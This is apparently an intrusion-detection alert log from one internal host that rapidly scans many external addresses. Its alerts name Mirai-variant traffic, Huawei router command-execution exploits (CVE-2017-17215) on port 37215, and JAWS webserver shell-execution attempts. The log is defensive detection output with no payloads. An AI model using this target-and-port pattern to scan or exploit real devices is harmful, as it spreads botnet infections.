2024-10-17T02:19:52.844842+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47224	197.192.132.151	37215	TCP
2024-10-17T02:19:52.850585+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	43928	9.97.245.184	80	TCP
2024-10-17T02:19:52.850585+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	43928	9.97.245.184	80	TCP
2024-10-17T02:19:52.861669+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	45522	135.110.177.174	80	TCP
2024-10-17T02:19:52.861669+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	45522	135.110.177.174	80	TCP
2024-10-17T02:19:52.882523+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48180	156.154.137.128	37215	TCP
2024-10-17T02:19:52.882879+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56810	197.133.19.220	37215	TCP
2024-10-17T02:19:53.611799+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39894	197.144.202.170	37215	TCP
2024-10-17T02:19:53.650638+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	47110	113.128.194.225	80	TCP
2024-10-17T02:19:53.650638+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	47110	113.128.194.225	80	TCP
2024-10-17T02:19:53.683908+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	51026	5.130.89.178	80	TCP
2024-10-17T02:19:53.683908+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	51026	5.130.89.178	80	TCP
2024-10-17T02:19:53.683972+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58188	41.187.219.13	37215	TCP
2024-10-17T02:19:53.689992+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33094	41.218.100.231	37215	TCP
2024-10-17T02:19:53.695849+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44458	41.255.64.17	37215	TCP
2024-10-17T02:19:53.709910+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39080	41.79.247.129	37215	TCP
2024-10-17T02:19:53.722453+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39112	41.255.43.44	37215	TCP
2024-10-17T02:19:53.727856+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51598	197.173.149.57	37215	TCP
2024-10-17T02:19:53.732065+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54736	156.150.26.154	37215	TCP
2024-10-17T02:19:53.807105+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55952	197.166.253.195	37215	TCP
2024-10-17T02:19:53.813071+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	48600	73.11.181.94	80	TCP
2024-10-17T02:19:53.813071+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	48600	73.11.181.94	80	TCP
2024-10-17T02:19:53.829178+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60716	197.227.16.10	37215	TCP
2024-10-17T02:19:53.835461+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	33522	117.8.254.220	80	TCP
2024-10-17T02:19:53.835461+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	33522	117.8.254.220	80	TCP
2024-10-17T02:19:53.835740+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46318	197.249.221.114	37215	TCP
2024-10-17T02:19:53.876102+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	54782	57.193.125.46	80	TCP
2024-10-17T02:19:53.876102+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	54782	57.193.125.46	80	TCP
2024-10-17T02:19:53.879351+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41052	156.235.175.203	37215	TCP
2024-10-17T02:19:53.900239+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56562	156.201.190.43	37215	TCP
2024-10-17T02:19:53.908695+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37684	41.238.65.178	37215	TCP
2024-10-17T02:19:53.946097+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	48318	93.69.149.217	80	TCP
2024-10-17T02:19:53.946097+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	48318	93.69.149.217	80	TCP
2024-10-17T02:19:53.972517+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46840	156.210.142.196	37215	TCP
2024-10-17T02:19:53.972573+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	49442	54.190.28.113	80	TCP
2024-10-17T02:19:53.972573+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	49442	54.190.28.113	80	TCP
2024-10-17T02:19:53.996480+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	51418	184.113.130.61	80	TCP
2024-10-17T02:19:53.996480+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	51418	184.113.130.61	80	TCP
2024-10-17T02:19:54.000434+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	60822	43.226.11.224	80	TCP
2024-10-17T02:19:54.000434+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	60822	43.226.11.224	80	TCP
2024-10-17T02:19:54.007369+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59534	41.23.33.34	37215	TCP
2024-10-17T02:19:54.007402+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	46682	24.159.2.208	80	TCP
2024-10-17T02:19:54.007402+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	46682	24.159.2.208	80	TCP
2024-10-17T02:19:54.057698+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	46528	147.49.229.14	80	TCP
2024-10-17T02:19:54.057698+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	46528	147.49.229.14	80	TCP
2024-10-17T02:19:54.169452+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	38624	133.147.117.27	80	TCP
2024-10-17T02:19:54.169452+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	38624	133.147.117.27	80	TCP
2024-10-17T02:19:54.170796+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	47816	189.3.53.250	80	TCP
2024-10-17T02:19:54.170796+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	47816	189.3.53.250	80	TCP
2024-10-17T02:19:54.189115+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50266	156.211.41.245	37215	TCP
2024-10-17T02:19:54.218899+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	55774	222.80.213.83	80	TCP
2024-10-17T02:19:54.218899+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	55774	222.80.213.83	80	TCP
2024-10-17T02:19:54.220713+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50814	156.91.159.119	37215	TCP
2024-10-17T02:19:54.251480+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	49924	31.217.15.0	80	TCP
2024-10-17T02:19:54.251480+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	49924	31.217.15.0	80	TCP
2024-10-17T02:19:54.350489+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45798	41.9.224.55	37215	TCP
2024-10-17T02:19:54.393462+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48418	41.222.25.224	37215	TCP
2024-10-17T02:19:54.424654+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39806	41.181.48.226	37215	TCP
2024-10-17T02:19:54.467219+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	50026	161.190.100.158	80	TCP
2024-10-17T02:19:54.467219+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	50026	161.190.100.158	80	TCP
2024-10-17T02:19:54.474549+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35074	156.196.169.177	37215	TCP
2024-10-17T02:19:54.488030+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	37902	183.246.247.40	80	TCP
2024-10-17T02:19:54.488030+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	37902	183.246.247.40	80	TCP
2024-10-17T02:19:54.489147+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	54414	109.3.101.144	80	TCP
2024-10-17T02:19:54.489147+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	54414	109.3.101.144	80	TCP
2024-10-17T02:19:54.512763+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37564	197.75.230.149	37215	TCP
2024-10-17T02:19:54.519221+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	53534	82.235.166.47	80	TCP
2024-10-17T02:19:54.519221+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	53534	82.235.166.47	80	TCP
2024-10-17T02:19:54.521149+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44500	156.83.9.230	37215	TCP
2024-10-17T02:19:54.544722+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44430	41.29.102.230	37215	TCP
2024-10-17T02:19:54.593533+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41062	41.248.114.237	37215	TCP
2024-10-17T02:19:54.635659+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36384	156.20.186.166	37215	TCP
2024-10-17T02:19:54.709292+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50022	197.22.184.90	37215	TCP
2024-10-17T02:19:54.709507+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60390	41.27.133.111	37215	TCP
2024-10-17T02:19:54.713704+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36192	156.180.112.46	37215	TCP
2024-10-17T02:19:54.724778+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48596	197.255.60.156	37215	TCP
2024-10-17T02:19:54.738299+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53590	41.209.69.201	37215	TCP
2024-10-17T02:19:54.863832+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	47174	5.15.108.196	80	TCP
2024-10-17T02:19:54.863832+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	47174	5.15.108.196	80	TCP
2024-10-17T02:19:54.863832+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	35872	5.64.195.2	80	TCP
2024-10-17T02:19:54.863832+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	35872	5.64.195.2	80	TCP
2024-10-17T02:19:55.011295+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39144	156.253.97.89	37215	TCP
2024-10-17T02:19:55.761738+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47952	156.87.111.33	37215	TCP
2024-10-17T02:19:55.763880+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39130	156.201.54.116	37215	TCP
2024-10-17T02:19:56.714844+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56960	197.223.27.223	37215	TCP
2024-10-17T02:19:56.715398+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36710	41.244.101.219	37215	TCP
2024-10-17T02:19:56.744989+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52836	41.106.34.9	37215	TCP
2024-10-17T02:19:56.752629+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42656	197.108.22.112	37215	TCP
2024-10-17T02:19:57.545266+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	34960	185.74.231.206	80	TCP
2024-10-17T02:19:57.545266+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	34960	185.74.231.206	80	TCP
2024-10-17T02:19:57.568710+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	44306	93.215.15.64	80	TCP
2024-10-17T02:19:57.568710+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	44306	93.215.15.64	80	TCP
2024-10-17T02:19:57.568941+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	42104	208.31.172.229	80	TCP
2024-10-17T02:19:57.568941+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	42104	208.31.172.229	80	TCP
2024-10-17T02:19:57.584557+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	43864	122.226.14.9	80	TCP
2024-10-17T02:19:57.584557+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	43864	122.226.14.9	80	TCP
2024-10-17T02:19:57.599416+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	33296	154.118.233.210	80	TCP
2024-10-17T02:19:57.599416+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	33296	154.118.233.210	80	TCP
2024-10-17T02:19:57.617547+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	36538	201.76.39.168	80	TCP
2024-10-17T02:19:57.617547+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	36538	201.76.39.168	80	TCP
2024-10-17T02:19:57.632257+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	44982	222.90.251.56	80	TCP
2024-10-17T02:19:57.632257+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	44982	222.90.251.56	80	TCP
2024-10-17T02:19:57.635898+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	50408	105.39.202.218	80	TCP
2024-10-17T02:19:57.635898+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	50408	105.39.202.218	80	TCP
2024-10-17T02:19:57.639622+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	58550	221.241.124.233	80	TCP
2024-10-17T02:19:57.639622+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	58550	221.241.124.233	80	TCP
2024-10-17T02:19:57.652626+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	52108	76.238.117.139	80	TCP
2024-10-17T02:19:57.652626+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	52108	76.238.117.139	80	TCP
2024-10-17T02:19:57.653848+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	46008	104.58.180.174	80	TCP
2024-10-17T02:19:57.653848+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	46008	104.58.180.174	80	TCP
2024-10-17T02:19:57.671476+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	54094	72.225.88.243	80	TCP
2024-10-17T02:19:57.671476+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	54094	72.225.88.243	80	TCP
2024-10-17T02:19:57.676773+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	37176	97.119.68.125	80	TCP
2024-10-17T02:19:57.676773+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	37176	97.119.68.125	80	TCP
2024-10-17T02:19:58.566409+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	60148	75.168.217.172	80	TCP
2024-10-17T02:19:58.566409+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	60148	75.168.217.172	80	TCP
2024-10-17T02:19:58.566700+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	50870	68.220.201.40	80	TCP
2024-10-17T02:19:58.566700+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	50870	68.220.201.40	80	TCP
2024-10-17T02:19:58.567667+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	37702	17.32.205.241	80	TCP
2024-10-17T02:19:58.567667+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	37702	17.32.205.241	80	TCP
2024-10-17T02:19:58.567767+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	42484	161.102.222.250	80	TCP
2024-10-17T02:19:58.567767+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	42484	161.102.222.250	80	TCP
2024-10-17T02:19:58.567794+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	53258	143.1.161.253	80	TCP
2024-10-17T02:19:58.567794+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	53258	143.1.161.253	80	TCP
2024-10-17T02:19:58.567900+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	36958	131.235.143.94	80	TCP
2024-10-17T02:19:58.567900+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	36958	131.235.143.94	80	TCP
2024-10-17T02:19:58.567948+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	46420	9.180.191.186	80	TCP
2024-10-17T02:19:58.567948+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	46420	9.180.191.186	80	TCP
2024-10-17T02:19:58.568109+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	60088	149.107.115.43	80	TCP
2024-10-17T02:19:58.568109+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	60088	149.107.115.43	80	TCP
2024-10-17T02:19:58.568177+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	37280	117.121.66.73	80	TCP
2024-10-17T02:19:58.568177+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	37280	117.121.66.73	80	TCP
2024-10-17T02:19:58.578897+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	44854	147.91.195.83	80	TCP
2024-10-17T02:19:58.578897+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	44854	147.91.195.83	80	TCP
2024-10-17T02:19:58.594853+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	36114	188.133.193.96	80	TCP
2024-10-17T02:19:58.594853+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	36114	188.133.193.96	80	TCP
2024-10-17T02:19:58.594908+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	46840	175.49.180.42	80	TCP
2024-10-17T02:19:58.594908+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	46840	175.49.180.42	80	TCP
2024-10-17T02:19:58.602162+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	60772	25.152.41.191	80	TCP
2024-10-17T02:19:58.602162+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	60772	25.152.41.191	80	TCP
2024-10-17T02:19:58.602993+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	33268	173.24.42.205	80	TCP
2024-10-17T02:19:58.602993+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	33268	173.24.42.205	80	TCP
2024-10-17T02:19:58.603289+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	41714	24.25.114.92	80	TCP
2024-10-17T02:19:58.603289+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	41714	24.25.114.92	80	TCP
2024-10-17T02:19:58.603327+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	36272	135.46.162.119	80	TCP
2024-10-17T02:19:58.603327+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	36272	135.46.162.119	80	TCP
2024-10-17T02:19:58.603446+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	44198	133.93.157.217	80	TCP
2024-10-17T02:19:58.603446+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	44198	133.93.157.217	80	TCP
2024-10-17T02:19:58.603580+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	51430	46.58.44.127	80	TCP
2024-10-17T02:19:58.603580+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	51430	46.58.44.127	80	TCP
2024-10-17T02:19:58.603744+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	44130	153.132.207.208	80	TCP
2024-10-17T02:19:58.603744+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	44130	153.132.207.208	80	TCP
2024-10-17T02:19:58.603814+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	39716	49.77.113.70	80	TCP
2024-10-17T02:19:58.603814+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	39716	49.77.113.70	80	TCP
2024-10-17T02:19:58.605621+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	40318	116.90.216.16	80	TCP
2024-10-17T02:19:58.605621+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	40318	116.90.216.16	80	TCP
2024-10-17T02:19:58.607322+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	41304	198.232.64.46	80	TCP
2024-10-17T02:19:58.607322+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	41304	198.232.64.46	80	TCP
2024-10-17T02:19:58.609944+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	59808	57.228.96.252	80	TCP
2024-10-17T02:19:58.609944+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	59808	57.228.96.252	80	TCP
2024-10-17T02:19:58.610368+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	35848	91.155.223.28	80	TCP
2024-10-17T02:19:58.610368+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	35848	91.155.223.28	80	TCP
2024-10-17T02:19:58.611193+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	32788	210.224.115.209	80	TCP
2024-10-17T02:19:58.611193+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	32788	210.224.115.209	80	TCP
2024-10-17T02:19:58.613997+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	49368	102.240.78.54	80	TCP
2024-10-17T02:19:58.613997+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	49368	102.240.78.54	80	TCP
2024-10-17T02:19:58.628721+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	54572	198.38.116.108	80	TCP
2024-10-17T02:19:58.628721+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	54572	198.38.116.108	80	TCP
2024-10-17T02:19:58.629463+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	58636	193.72.105.248	80	TCP
2024-10-17T02:19:58.629463+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	58636	193.72.105.248	80	TCP
2024-10-17T02:19:58.629597+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	58110	194.205.234.80	80	TCP
2024-10-17T02:19:58.629597+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	58110	194.205.234.80	80	TCP
2024-10-17T02:19:58.629736+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	43980	209.100.72.91	80	TCP
2024-10-17T02:19:58.629736+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	43980	209.100.72.91	80	TCP
2024-10-17T02:19:58.630512+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	55696	179.248.90.42	80	TCP
2024-10-17T02:19:58.630512+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	55696	179.248.90.42	80	TCP
2024-10-17T02:19:58.630862+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	42050	53.56.132.164	80	TCP
2024-10-17T02:19:58.630862+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	42050	53.56.132.164	80	TCP
2024-10-17T02:19:58.631330+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	36278	140.76.233.172	80	TCP
2024-10-17T02:19:58.631330+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	36278	140.76.233.172	80	TCP
2024-10-17T02:19:58.638044+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	56916	167.200.167.59	80	TCP
2024-10-17T02:19:58.638044+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	56916	167.200.167.59	80	TCP
2024-10-17T02:19:58.639495+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	34298	171.252.203.211	80	TCP
